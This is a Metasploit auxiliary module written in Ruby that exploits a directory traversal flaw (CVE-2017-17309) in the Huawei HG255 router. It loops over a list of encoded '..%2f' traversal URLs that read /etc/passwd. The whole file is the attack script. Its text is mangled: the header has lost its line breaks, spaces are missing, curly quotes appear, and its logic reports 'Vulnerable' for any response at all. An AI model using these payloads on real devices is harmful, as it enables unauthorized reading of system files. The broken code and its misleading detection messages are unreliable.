### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.###classMetasploitModule< Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super('Name'=>'Huawei HG255 Directory Traversal',
‘Description’ => ‘Server Directory Traversal at Huawei HG255 by malicious GET requests’,
‘Author’=> ‘Ismail Tasdelen’,
‘License’ => MSF_LICENSE,
‘References’ =>[['CVE','2017-17309'],['URL','https://www.huawei.com/en/psirt/security-notices/huawei-sn-20170911-01-hg255s-en']])
register_options([
Opt::RPORT(80)], self.class)
end
def run
urllist=[
‘/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
‘/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
‘/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
‘/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’]
urllist.each do |url|
begin
res = send_request_raw({
‘method’=> ‘GET’,
‘uri’=> url
})if res
print_good(“Vulnerable! for#{url}”)else
print_status(“Vulnerable(no response) detected for#{url}”)
end
rescue Errno::ECONNRESET
print_status(“Vulnerable(rst) detected for#{url}”)
rescue Exception
print_error(“Connection failed.”)
end
end
end